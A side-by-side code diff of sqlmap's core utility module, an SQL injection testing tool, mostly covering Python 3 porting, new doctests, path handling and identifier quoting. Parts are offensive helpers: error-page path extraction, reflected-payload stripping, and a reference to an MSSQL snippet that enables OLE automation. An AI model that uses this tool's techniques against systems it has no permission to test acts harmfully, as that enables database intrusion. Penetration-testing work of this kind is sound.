def setColor(message, color=None, bold=False): def setColor(message, color=None, bold=False, level=None):
retVal = message retVal = message
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel") level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if isinstance(level, unicode): if isinstance(level, unicode):
level = unicodeencode(level) level = unicodeencode(level)
@@ -885,7 +887,6 @@ def setColor(message, color=None, bold=False):
elif level: elif level:
level = getattr(logging, level, None) if isinstance(level, basestring) else level level = getattr(logging, level, None) if isinstance(level, basestring) else level
retVal = LOGGER_HANDLER.colorize(message, level) retVal = LOGGER_HANDLER.colorize(message, level)
kb.stickyLevel = level if message and message[-1] != "\n" else None
return retVal return retVal
@@ -899,7 +900,7 @@ def clearColors(message):
retVal = message retVal = message
if message: if isinstance(message, str):
retVal = re.sub(r"\x1b\[[\d;]+m", "", message) retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal return retVal
@@ -913,7 +914,8 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
if not kb.get("threadException"): if not kb.get("threadException"):
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
if kb.get("multiThreadMode"): multiThreadMode = isMultiThreadMode()
if multiThreadMode:
logging._acquireLock() logging._acquireLock()
if isinstance(data, unicode): if isinstance(data, unicode):
@@ -923,7 +925,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
try: try:
if conf.get("api"): if conf.get("api"):
sys.stdout.write(message, status, content_type) sys.stdout.write(clearColors(message), status, content_type)
else: else:
sys.stdout.write(setColor(message, bold=bold)) sys.stdout.write(setColor(message, bold=bold))
@@ -931,7 +933,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
except IOError: except IOError:
pass pass
if kb.get("multiThreadMode"): if multiThreadMode:
logging._releaseLock() logging._releaseLock()
kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')
@@ -943,7 +945,7 @@ def dataToTrafficFile(data):
try: try:
conf.trafficFP.write(data) conf.trafficFP.write(data)
conf.trafficFP.flush() conf.trafficFP.flush()
except IOError, ex: except IOError as ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -952,7 +954,7 @@ def dataToDumpFile(dumpFile, data):
try: try:
dumpFile.write(data) dumpFile.write(data)
dumpFile.flush() dumpFile.flush()
except IOError, ex: except IOError as ex:
if "No space left" in getUnicode(ex): if "No space left" in getUnicode(ex):
errMsg = "no space left on output device" errMsg = "no space left on output device"
logger.error(errMsg) logger.error(errMsg)
@@ -972,7 +974,7 @@ def dataToOutFile(filename, data):
try: try:
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
f.write(unicodeencode(data)) f.write(unicodeencode(data))
except UnicodeEncodeError, ex: except UnicodeEncodeError as ex:
_ = normalizeUnicode(filename) _ = normalizeUnicode(filename)
if filename != _: if filename != _:
filename = _ filename = _
@@ -980,7 +982,7 @@ def dataToOutFile(filename, data):
errMsg = "couldn't write to the " errMsg = "couldn't write to the "
errMsg += "output file ('%s')" % getSafeExString(ex) errMsg += "output file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
except IOError, ex: except IOError as ex:
errMsg = "something went wrong while trying to write " errMsg = "something went wrong while trying to write "
errMsg += "to the output file ('%s')" % getSafeExString(ex) errMsg += "to the output file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -995,7 +997,6 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
""" """
retVal = None retVal = None
kb.stickyLevel = None
message = getUnicode(message) message = getUnicode(message)
@@ -1009,6 +1010,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
kb.prependFlag = False kb.prependFlag = False
if conf.get("answers"): if conf.get("answers"):
if not any(_ in conf.answers for _ in ",="):
return conf.answers
for item in conf.answers.split(','): for item in conf.answers.split(','):
question = item.split('=')[0].strip() question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None answer = item.split('=')[1] if len(item.split('=')) > 1 else None
@@ -1162,6 +1166,9 @@ def getHeader(headers, key):
def checkFile(filename, raiseOnError=True): def checkFile(filename, raiseOnError=True):
""" """
Checks for file existence and readability Checks for file existence and readability
>>> checkFile(__file__)
True
""" """
valid = True valid = True
@@ -1172,7 +1179,7 @@ def checkFile(filename, raiseOnError=True):
try: try:
if filename is None or not os.path.isfile(filename): if filename is None or not os.path.isfile(filename):
valid = False valid = False
except UnicodeError: except:
valid = False valid = False
if valid: if valid:
@@ -1192,7 +1199,7 @@ def banner():
This function prints sqlmap banner with its version This function prints sqlmap banner with its version
""" """
if not any(_ in sys.argv for _ in ("--version", "--api")): if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
_ = BANNER _ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1263,14 +1270,22 @@ def setPaths(rootPath):
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") if IS_WIN:
paths.SQLMAP_HOME_PATH = _ if os.getenv("LOCALAPPDATA"):
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
elif os.getenv("USERPROFILE"):
paths.SQLMAP_HOME_PATH = os.path.expandvars("%USERPROFILE%\\Local Settings\\sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), "sqlmap")
else:
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# history files # history files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst") paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
@@ -1401,8 +1416,10 @@ def parseTargetDirect():
__import__("pyodbc") __import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD: elif dbmsName == DBMS.FIREBIRD:
__import__("kinterbasdb") __import__("kinterbasdb")
except (SqlmapSyntaxException, SqlmapMissingDependence):
raise
except: except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
pass pass
else: else:
errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -1438,7 +1455,7 @@ def parseTargetUrl():
try: try:
urlSplit = urlparse.urlsplit(conf.url) urlSplit = urlparse.urlsplit(conf.url)
except ValueError, ex: except ValueError as ex:
errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex))
errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') "
errMsg += "in the hostname part" errMsg += "in the hostname part"
@@ -1552,7 +1569,7 @@ def expandAsteriskForColumns(expression):
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
columns = columnsDict[conf.db][conf.tbl].keys() columns = list(columnsDict[conf.db][conf.tbl].keys())
columns.sort() columns.sort()
columnsStr = ", ".join(column for column in columns) columnsStr = ", ".join(column for column in columns)
expression = expression.replace('*', columnsStr, 1) expression = expression.replace('*', columnsStr, 1)
@@ -1644,6 +1661,9 @@ def parseUnionPage(page):
def parseFilePaths(page): def parseFilePaths(page):
""" """
Detects (possible) absolute system paths inside the provided page content Detects (possible) absolute system paths inside the provided page content
>>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
True
""" """
if page: if page:
@@ -1971,6 +1991,13 @@ def isHexEncodedString(subject):
return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None
def isMultiThreadMode():
"""
Checks if running in multi-thread(ing) mode
"""
return threading.activeCount() > 1
@cachedmethod @cachedmethod
def getConsoleWidth(default=80): def getConsoleWidth(default=80):
""" """
@@ -2017,7 +2044,6 @@ def clearConsoleLine(forceOutput=False):
dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput)
kb.prependFlag = False kb.prependFlag = False
kb.stickyLevel = None
def parseXmlFile(xmlFile, handler): def parseXmlFile(xmlFile, handler):
""" """
@@ -2027,7 +2053,7 @@ def parseXmlFile(xmlFile, handler):
try: try:
with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
parse(stream, handler) parse(stream, handler)
except (SAXParseException, UnicodeError), ex: except (SAXParseException, UnicodeError) as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
@@ -2036,6 +2062,9 @@ def parseXmlFile(xmlFile, handler):
def getSQLSnippet(dbms, sfile, **variables): def getSQLSnippet(dbms, sfile, **variables):
""" """
Returns content of SQL snippet located inside 'procs/' directory Returns content of SQL snippet located inside 'procs/' directory
>>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
True
""" """
if sfile.endswith('.sql') and os.path.exists(sfile): if sfile.endswith('.sql') and os.path.exists(sfile):
@@ -2050,7 +2079,7 @@ def getSQLSnippet(dbms, sfile, **variables):
retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r"#.+", "", retVal)
retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n")
for _ in variables.keys(): for _ in variables:
retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal)
for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
@@ -2075,9 +2104,12 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal return retVal
def readCachedFileContent(filename, mode='rb'): def readCachedFileContent(filename, mode="rb"):
""" """
Cached reading of file content (avoiding multiple same file reading) Cached reading of file content (avoiding multiple same file reading)
>>> "readCachedFileContent" in readCachedFileContent(__file__)
True
""" """
if filename not in kb.cache.content: if filename not in kb.cache.content:
@@ -2087,7 +2119,7 @@ def readCachedFileContent(filename, mode='rb'):
try: try:
with openFile(filename, mode) as f: with openFile(filename, mode) as f:
kb.cache.content[filename] = f.read() kb.cache.content[filename] = f.read()
except (IOError, OSError, MemoryError), ex: except (IOError, OSError, MemoryError) as ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -2104,6 +2136,16 @@ def readXmlFile(xmlFile):
return retVal return retVal
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
>>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.9
"""
return (1.0 * sum(values) / len(values)) if values else None
@cachedmethod @cachedmethod
def stdev(values): def stdev(values):
""" """
@@ -2118,22 +2160,15 @@ def stdev(values):
return None return None
else: else:
avg = average(values) avg = average(values)
_ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values)
return sqrt(_ / (len(values) - 1)) return sqrt(_ / (len(values) - 1))
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
>>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.9
"""
return (sum(values) / len(values)) if values else None
def calculateDeltaSeconds(start): def calculateDeltaSeconds(start):
""" """
Returns elapsed time from start till now Returns elapsed time from start till now
>>> calculateDeltaSeconds(0) > 1151721660
True
""" """
return time.time() - start return time.time() - start
@@ -2141,6 +2176,9 @@ def calculateDeltaSeconds(start):
def initCommonOutputs(): def initCommonOutputs():
""" """
Initializes dictionary containing common output values used by "good samaritan" feature Initializes dictionary containing common output values used by "good samaritan" feature
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
True
""" """
kb.commonOutputs = {} kb.commonOutputs = {}
@@ -2195,12 +2233,12 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
retVal[line] = True retVal[line] = True
else: else:
retVal.append(line) retVal.append(line)
except (IOError, OSError, MemoryError), ex: except (IOError, OSError, MemoryError) as ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
return retVal if not unique else retVal.keys() return retVal if not unique else list(retVal.keys())
def goGoodSamaritan(prevValue, originalCharset): def goGoodSamaritan(prevValue, originalCharset):
""" """
@@ -2328,7 +2366,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
while True: while True:
try: try:
return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError, ex: except UnicodeDecodeError as ex:
try: try:
return unicode(value, UNICODE_ENCODING) return unicode(value, UNICODE_ENCODING)
except: except:
@@ -2384,7 +2422,7 @@ def pushValue(value):
getCurrentThreadData().valueStack.append(copy.deepcopy(value)) getCurrentThreadData().valueStack.append(copy.deepcopy(value))
success = True success = True
break break
except Exception, ex: except Exception as ex:
_ = ex _ = ex
if not success: if not success:
@@ -2958,16 +2996,21 @@ def parseSqliteTableSchema(value):
Parses table column names and types from specified SQLite table schema Parses table column names and types from specified SQLite table schema
""" """
retVal = False
if value: if value:
table = {} table = {}
columns = {} columns = {}
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I):
retVal = True
columns[match.group(1)] = match.group(2) columns[match.group(1)] = match.group(2)
table[conf.tbl] = columns table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
kb.data.cachedColumns[conf.db] = table kb.data.cachedColumns[conf.db] = table
return retVal
def getTechniqueData(technique=None): def getTechniqueData(technique=None):
""" """
Returns injection data for technique specified Returns injection data for technique specified
@@ -3033,7 +3076,7 @@ def saveConfig(conf, filename):
config = UnicodeRawConfigParser() config = UnicodeRawConfigParser()
userOpts = {} userOpts = {}
for family in optDict.keys(): for family in optDict:
userOpts[family] = [] userOpts[family] = []
for option, value in conf.items(): for option, value in conf.items():
@@ -3072,7 +3115,7 @@ def saveConfig(conf, filename):
with openFile(filename, "wb") as f: with openFile(filename, "wb") as f:
try: try:
config.write(f) config.write(f)
except IOError, ex: except IOError as ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -3324,8 +3367,7 @@ def unhandledExceptionMessage():
errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE
errMsg += "at '%s' " % ISSUES_PAGE errMsg += "at '%s' " % ISSUES_PAGE
errMsg += "with the following text and any other information required to " errMsg += "with the following text and any other information required to "
errMsg += "reproduce the bug. The " errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly "
errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n" errMsg += "and get back to you\n"
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION errMsg += "Python version: %s\n" % PYVERSION
@@ -3348,6 +3390,9 @@ def unhandledExceptionMessage():
def getLatestRevision(): def getLatestRevision():
""" """
Retrieves latest revision from the offical repository Retrieves latest revision from the offical repository
>>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
True
""" """
retVal = None retVal = None
@@ -3416,7 +3461,7 @@ def createGithubIssue(errMsg, excMsg):
try: try:
content = urllib2.urlopen(req).read() content = urllib2.urlopen(req).read()
except Exception, ex: except Exception as ex:
content = None content = None
issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "")
@@ -3457,6 +3502,9 @@ def maskSensitiveData(msg):
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Fail-safe substitution
retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal)
if getpass.getuser(): if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3480,9 +3528,9 @@ def listToStrValue(value):
return retVal return retVal
def intersect(valueA, valueB, lowerCase=False): def intersect(containerA, containerB, lowerCase=False):
""" """
Returns intersection of the array-ized values Returns intersection of the container-ized values
>>> intersect([1, 2, 3], set([1,3])) >>> intersect([1, 2, 3], set([1,3]))
[1, 3] [1, 3]
@@ -3490,15 +3538,41 @@ def intersect(valueA, valueB, lowerCase=False):
retVal = [] retVal = []
if valueA and valueB: if containerA and containerB:
valueA = arrayizeValue(valueA) containerA = arrayizeValue(containerA)
valueB = arrayizeValue(valueB) containerB = arrayizeValue(containerB)
if lowerCase: if lowerCase:
valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] containerA = [val.lower() if isinstance(val, basestring) else val for val in containerA]
valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] containerB = [val.lower() if isinstance(val, basestring) else val for val in containerB]
retVal = [val for val in valueA if val in valueB] retVal = [val for val in containerA if val in containerB]
return retVal
def decodeStringEscape(value):
"""
Decodes escaped string values (e.g. "\\t" -> "\t")
"""
retVal = value
if value and '\\' in value:
if isinstance(value, unicode):
retVal = retVal.encode(UNICODE_ENCODING)
try:
retVal = codecs.escape_decode(retVal)[0]
except:
try:
retVal = retVal.decode("string_escape")
except:
charset = string.whitespace.replace(" ", "")
for _ in charset:
retVal = retVal.replace(repr(_).strip("'"), _)
if isinstance(value, unicode):
retVal = getUnicode(retVal)
return retVal return retVal
@@ -3518,7 +3592,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
return value return value
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
if regex != payload: if regex != payload:
if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
@@ -3526,7 +3600,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))
@@ -3625,16 +3699,20 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = "`%s`" % retVal retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper() retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
parts = retVal.split('.', 1) if isTable:
for i in xrange(len(parts)): parts = retVal.split('.', 1)
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)): for i in xrange(len(parts)):
parts[i] = "[%s]" % parts[i] if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
retVal = '.'.join(parts) parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3762,7 +3840,7 @@ def expandMnemonics(mnemonics, parser, args):
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
found = sorted(options.keys(), key=lambda x: len(x))[0] found = sorted(options.keys(), key=lambda x: len(x))[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options))
warnMsg += "Resolved to shortest of those ('%s')" % found warnMsg += "Resolved to shortest of those ('%s')" % found
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -3864,6 +3942,14 @@ def randomizeParameterValue(value):
retVal = retVal.replace(original, candidate) retVal = retVal.replace(original, candidate)
if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
parts = retVal.split('.')
parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0]
retVal = '.'.join(parts)
if not retVal:
retVal = randomStr(lowercase=True)
return retVal return retVal
@cachedmethod @cachedmethod
@@ -4030,7 +4116,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
continue continue
request = form.click() request = form.click()
except (ValueError, TypeError), ex: except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while " errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex) errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_: if raise_:
@@ -4087,7 +4173,12 @@ def checkSameHost(*urls):
elif len(urls) == 1: elif len(urls) == 1:
return True return True
else: else:
return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(url or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(urls[0] or "").netloc.split(':')[0]) for url in urls[1:]) def _(value):
if value and not re.search(r"\A\w+://", value):
value = "http://%s" % value
return value
return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
def getHostHeader(url): def getHostHeader(url):
""" """
@@ -4107,6 +4198,9 @@ def getHostHeader(url):
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
retVal = retVal.split(':')[0] retVal = retVal.split(':')[0]
if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
retVal = "[%s]" % retVal
return retVal return retVal
def checkDeprecatedOptions(args): def checkDeprecatedOptions(args):
@@ -4146,13 +4240,16 @@ def checkSystemEncoding():
